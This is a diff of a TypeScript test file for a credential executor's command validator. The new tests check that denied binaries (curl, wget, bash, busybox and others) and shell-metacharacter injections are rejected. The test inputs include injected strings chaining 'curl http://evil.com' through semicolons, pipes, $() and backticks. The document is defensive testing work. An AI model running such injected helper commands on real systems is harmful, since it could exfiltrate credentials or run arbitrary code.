@vellumai/credential-executor 0.4.55 → 0.4.56

package/src/__tests__/command-validator.test.ts

@@ -11,6 +11,8 @@ import {
   validateManifest,
   validateCommand,
   matchesArgvPattern,
+  extractShellBinary,
+  containsShellMetacharacters,
 } from "../commands/validator.js";
 
 // ---------------------------------------------------------------------------
@@ -138,6 +140,28 @@ describe("validateManifest", () => {
     expect(result.errors.some((e) => e.includes("env"))).toBe(true);
   });
 
+  test("rejects busybox as entrypoint", () => {
+    const result = validateManifest(
+      buildManifest({ entrypoint: "/usr/bin/busybox" }),
+    );
+    expect(result.valid).toBe(false);
+    expect(result.errors.some((e) => e.includes("busybox"))).toBe(true);
+    expect(
+      result.errors.some((e) => e.includes("structurally denied binary")),
+    ).toBe(true);
+  });
+
+  test("rejects toybox as entrypoint", () => {
+    const result = validateManifest(
+      buildManifest({ entrypoint: "/usr/bin/toybox" }),
+    );
+    expect(result.valid).toBe(false);
+    expect(result.errors.some((e) => e.includes("toybox"))).toBe(true);
+    expect(
+      result.errors.some((e) => e.includes("structurally denied binary")),
+    ).toBe(true);
+  });
+
   test("rejects bundleId matching a denied binary", () => {
     const result = validateManifest(
       buildManifest({
@@ -353,6 +377,165 @@ describe("validateManifest", () => {
     ).toBe(true);
   });
 
+  // -- Argv pattern tokens matching denied binaries --------------------------
+
+  test("rejects argv pattern with wget as a literal token", () => {
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "download": {
+            description: "Download files",
+            allowedArgvPatterns: [
+              { name: "wget-url", tokens: ["wget", "<url>"] },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "example.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes('"wget"') &&
+          e.includes("denied binary"),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects argv pattern with sh as a literal token (shell trampoline)", () => {
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "shell": {
+            description: "Run shell command",
+            allowedArgvPatterns: [
+              { name: "shell-exec", tokens: ["sh", "-c", "<cmd>"] },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "example.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes('"sh"') &&
+          e.includes("denied binary"),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects argv pattern with curl as a literal token", () => {
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "fetch": {
+            description: "Fetch URL",
+            allowedArgvPatterns: [
+              { name: "curl-url", tokens: ["curl", "<url>"] },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "example.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes('"curl"') &&
+          e.includes("denied binary"),
+      ),
+    ).toBe(true);
+  });
+
+  test("allows argv pattern with non-denied literal tokens", () => {
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "api-read": {
+            description: "Read-only API calls",
+            allowedArgvPatterns: [
+              {
+                name: "api-get",
+                tokens: ["api", "<endpoint>", "--method", "GET"],
+              },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "api.github.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(true);
+  });
+
+  test("does not flag placeholder tokens as denied binaries", () => {
+    // Placeholders like <url> should not be checked against the denylist
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "api-read": {
+            description: "Read-only API calls",
+            allowedArgvPatterns: [
+              {
+                name: "api-get",
+                tokens: ["api", "<endpoint>", "<args...>"],
+              },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "api.github.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(true);
+  });
+
+  test("allows denied binary names in non-executable argv positions", () => {
+    // Names like "https", "exec", "http" overlap with DENIED_BINARIES but
+    // are valid argument values when not in the first (executable) position.
+    const result = validateManifest(
+      buildManifest({
+        commandProfiles: {
+          "connect": {
+            description: "Connect with scheme",
+            allowedArgvPatterns: [
+              {
+                name: "connect-https",
+                tokens: ["connect", "--scheme", "https"],
+              },
+              {
+                name: "run-mode",
+                tokens: ["run", "--mode", "exec", "<target>"],
+              },
+            ],
+            deniedSubcommands: [],
+            allowedNetworkTargets: [
+              { hostPattern: "example.com", protocols: ["https"] },
+            ],
+          },
+        },
+      }),
+    );
+    expect(result.valid).toBe(true);
+  });
+
   // -- Auth adapter validation -----------------------------------------------
 
   test("rejects auth adapter with empty envVarName", () => {
@@ -466,6 +649,13 @@ describe("isDeniedBinary", () => {
     expect(isDeniedBinary("php")).toBe(true);
   });
 
+  test("denies multi-call umbrella binaries", () => {
+    expect(isDeniedBinary("busybox")).toBe(true);
+    expect(isDeniedBinary("toybox")).toBe(true);
+    expect(isDeniedBinary("/usr/bin/busybox")).toBe(true);
+    expect(isDeniedBinary("/usr/bin/toybox")).toBe(true);
+  });
+
   test("denies shell trampolines", () => {
     expect(isDeniedBinary("bash")).toBe(true);
     expect(isDeniedBinary("sh")).toBe(true);
@@ -614,6 +804,45 @@ describe("validateCommand", () => {
     expect(result.reason).toContain("--unsafe-perm");
   });
 
+  test("denies --flag=value form of denied flags", () => {
+    const manifestWithDeniedFlags = buildManifest({
+      commandProfiles: {
+        "api-read": {
+          description: "Read-only GitHub API calls",
+          allowedArgvPatterns: [
+            {
+              name: "api-call",
+              tokens: ["api", "<endpoint>", "<args...>"],
+            },
+          ],
+          deniedSubcommands: [],
+          deniedFlags: ["--endpoint-url", "--exec"],
+          allowedNetworkTargets: [
+            { hostPattern: "api.github.com", protocols: ["https"] },
+          ],
+        },
+      },
+    });
+
+    // --flag=value combined form should be caught
+    const result = validateCommand(manifestWithDeniedFlags, [
+      "api",
+      "/repos",
+      "--endpoint-url=https://evil.example.com",
+    ]);
+    expect(result.allowed).toBe(false);
+    expect(result.reason).toContain("--endpoint-url");
+
+    // --flag value (separate tokens) should still be caught
+    const result2 = validateCommand(manifestWithDeniedFlags, [
+      "api",
+      "/repos",
+      "--exec",
+    ]);
+    expect(result2.allowed).toBe(false);
+    expect(result2.reason).toContain("--exec");
+  });
+
   // -- Multi-profile matching ------------------------------------------------
 
   test("matches across multiple profiles", () => {
@@ -660,6 +889,246 @@ describe("validateCommand", () => {
   });
 });
 
+// ---------------------------------------------------------------------------
+// credential_process helperCommand denied binary validation
+// ---------------------------------------------------------------------------
+
+describe("credential_process helperCommand denied binary validation", () => {
+  test("rejects helperCommand starting with curl", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "curl http://example.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"curl"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with absolute path to denied binary (python3)", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "/usr/bin/python3 script.py",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"python3"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand starting with bash", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "bash -c 'echo test'",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"bash"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("accepts helperCommand with allowed binary (aws-vault)", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default --json",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(true);
+    expect(result.errors).toHaveLength(0);
+  });
+
+  // -- Shell semantics bypass prevention ------------------------------------
+
+  test("rejects single-quoted denied binary ('curl')", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "'curl' https://example.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"curl"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects double-quoted denied binary (\"curl\")", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: '"curl" https://example.com',
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"curl"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects denied binary after env var assignment (AWS_PROFILE=x curl)", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "AWS_PROFILE=x curl https://example.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"curl"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects denied binary after multiple env var assignments", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "AWS_PROFILE=default FOO=bar python3 script.py",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"python3"'),
+      ),
+    ).toBe(true);
+  });
+
+  test("rejects denied binary with env assignment and quotes combined", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "AWS_PROFILE='prod' 'bash' -c 'echo creds'",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some(
+        (e) =>
+          e.includes("credential_process") &&
+          e.includes("denied binary") &&
+          e.includes('"bash"'),
+      ),
+    ).toBe(true);
+  });
+});
+
+// ---------------------------------------------------------------------------
+// extractShellBinary
+// ---------------------------------------------------------------------------
+
+describe("extractShellBinary", () => {
+  test("extracts plain binary name", () => {
+    expect(extractShellBinary("curl https://example.com")).toBe("curl");
+  });
+
+  test("extracts absolute path binary", () => {
+    expect(extractShellBinary("/usr/bin/python3 script.py")).toBe("/usr/bin/python3");
+  });
+
+  test("strips single quotes from binary", () => {
+    expect(extractShellBinary("'curl' https://example.com")).toBe("curl");
+  });
+
+  test("strips double quotes from binary", () => {
+    expect(extractShellBinary('"curl" https://example.com')).toBe("curl");
+  });
+
+  test("skips single env var assignment", () => {
+    expect(extractShellBinary("AWS_PROFILE=x curl https://example.com")).toBe("curl");
+  });
+
+  test("skips multiple env var assignments", () => {
+    expect(extractShellBinary("AWS_PROFILE=default FOO=bar curl https://example.com")).toBe("curl");
+  });
+
+  test("skips env var assignment with quoted value", () => {
+    expect(extractShellBinary("AWS_PROFILE='prod' curl https://example.com")).toBe("curl");
+  });
+
+  test("skips env var assignment with double-quoted value", () => {
+    expect(extractShellBinary('AWS_PROFILE="prod account" curl https://example.com')).toBe("curl");
+  });
+
+  test("handles env assignment + quoted binary combined", () => {
+    expect(extractShellBinary("AWS_PROFILE='prod' 'bash' -c 'echo test'")).toBe("bash");
+  });
+
+  test("handles binary with no arguments", () => {
+    expect(extractShellBinary("aws-vault")).toBe("aws-vault");
+  });
+
+  test("handles leading whitespace", () => {
+    expect(extractShellBinary("  curl https://example.com")).toBe("curl");
+  });
+});
+
 // ---------------------------------------------------------------------------
 // Comprehensive denied binary coverage
 // ---------------------------------------------------------------------------
@@ -687,6 +1156,12 @@ describe("DENIED_BINARIES set", () => {
     }
   });
 
+  test("contains all expected multi-call umbrella binaries", () => {
+    for (const binary of ["busybox", "toybox"]) {
+      expect(DENIED_BINARIES.has(binary)).toBe(true);
+    }
+  });
+
   test("contains all expected shell trampolines", () => {
     for (const binary of [
       "bash",
@@ -706,3 +1181,225 @@ describe("DENIED_BINARIES set", () => {
     }
   });
 });
+
+// ---------------------------------------------------------------------------
+// extractShellBinary: backslash-escaped spaces in env assignments
+// ---------------------------------------------------------------------------
+
+describe("extractShellBinary — escaped spaces in env assignments", () => {
+  test("handles backslash-escaped space in bare env value", () => {
+    // AWS_PROFILE=prod\ account curl ... should parse as binary "curl",
+    // not "account" (the escaped space is part of the value).
+    expect(extractShellBinary("AWS_PROFILE=prod\\ account curl https://example.com")).toBe("curl");
+  });
+
+  test("handles multiple backslash-escaped spaces in bare env value", () => {
+    expect(extractShellBinary("FOO=a\\ b\\ c curl https://example.com")).toBe("curl");
+  });
+
+  test("handles backslash-escaped character in bare env value (no space)", () => {
+    expect(extractShellBinary("FOO=bar\\nbaz curl https://example.com")).toBe("curl");
+  });
+
+  test("still works with unescaped bare values", () => {
+    expect(extractShellBinary("AWS_PROFILE=prod curl https://example.com")).toBe("curl");
+  });
+});
+
+// ---------------------------------------------------------------------------
+// containsShellMetacharacters
+// ---------------------------------------------------------------------------
+
+describe("containsShellMetacharacters", () => {
+  test("detects semicolon", () => {
+    expect(containsShellMetacharacters("aws-vault exec; curl http://evil.com")).toBe(true);
+  });
+
+  test("detects &&", () => {
+    expect(containsShellMetacharacters("aws-vault exec && curl http://evil.com")).toBe(true);
+  });
+
+  test("detects ||", () => {
+    expect(containsShellMetacharacters("aws-vault exec || curl http://evil.com")).toBe(true);
+  });
+
+  test("detects single pipe", () => {
+    expect(containsShellMetacharacters("aws-vault exec | curl http://evil.com")).toBe(true);
+  });
+
+  test("detects $() command substitution", () => {
+    expect(containsShellMetacharacters("aws-vault exec $(curl http://evil.com)")).toBe(true);
+  });
+
+  test("detects backtick command substitution", () => {
+    expect(containsShellMetacharacters("aws-vault exec `curl http://evil.com`")).toBe(true);
+  });
+
+  test("detects newline (command separator)", () => {
+    expect(containsShellMetacharacters("aws-vault exec default\ncurl http://evil.com")).toBe(true);
+  });
+
+  test("detects carriage return", () => {
+    expect(containsShellMetacharacters("aws-vault exec default\rcurl http://evil.com")).toBe(true);
+  });
+
+  test("allows clean commands without metacharacters", () => {
+    expect(containsShellMetacharacters("aws-vault exec default --json")).toBe(false);
+  });
+
+  test("allows flags with dashes and equals", () => {
+    expect(containsShellMetacharacters("/usr/local/bin/aws-vault exec prod --format=json")).toBe(false);
+  });
+
+  test("allows env var assignments", () => {
+    expect(containsShellMetacharacters("AWS_PROFILE=prod aws-vault exec default")).toBe(false);
+  });
+});
+
+// ---------------------------------------------------------------------------
+// helperCommand shell metacharacter rejection (manifest validation)
+// ---------------------------------------------------------------------------
+
+describe("helperCommand shell metacharacter rejection", () => {
+  test("rejects helperCommand with semicolon chaining", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default; curl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with && chaining", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default && curl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with || chaining", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default || curl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with pipe", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default | curl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with $() subshell", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec $(curl http://evil.com)",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with backtick subshell", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec `curl http://evil.com`",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with newline command separator", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default\ncurl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("rejects helperCommand with carriage return", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default\rcurl http://evil.com",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(false);
+    expect(
+      result.errors.some((e) => e.includes("shell metacharacters")),
+    ).toBe(true);
+  });
+
+  test("accepts clean helperCommand without metacharacters", () => {
+    const result = validateManifest(
+      buildManifest({
+        authAdapter: {
+          type: AuthAdapterType.CredentialProcess,
+          helperCommand: "aws-vault exec default --json",
+          envVarName: "AWS_CREDENTIALS",
+        },
+      }),
+    );
+    expect(result.valid).toBe(true);
+    expect(result.errors).toHaveLength(0);
+  });
+});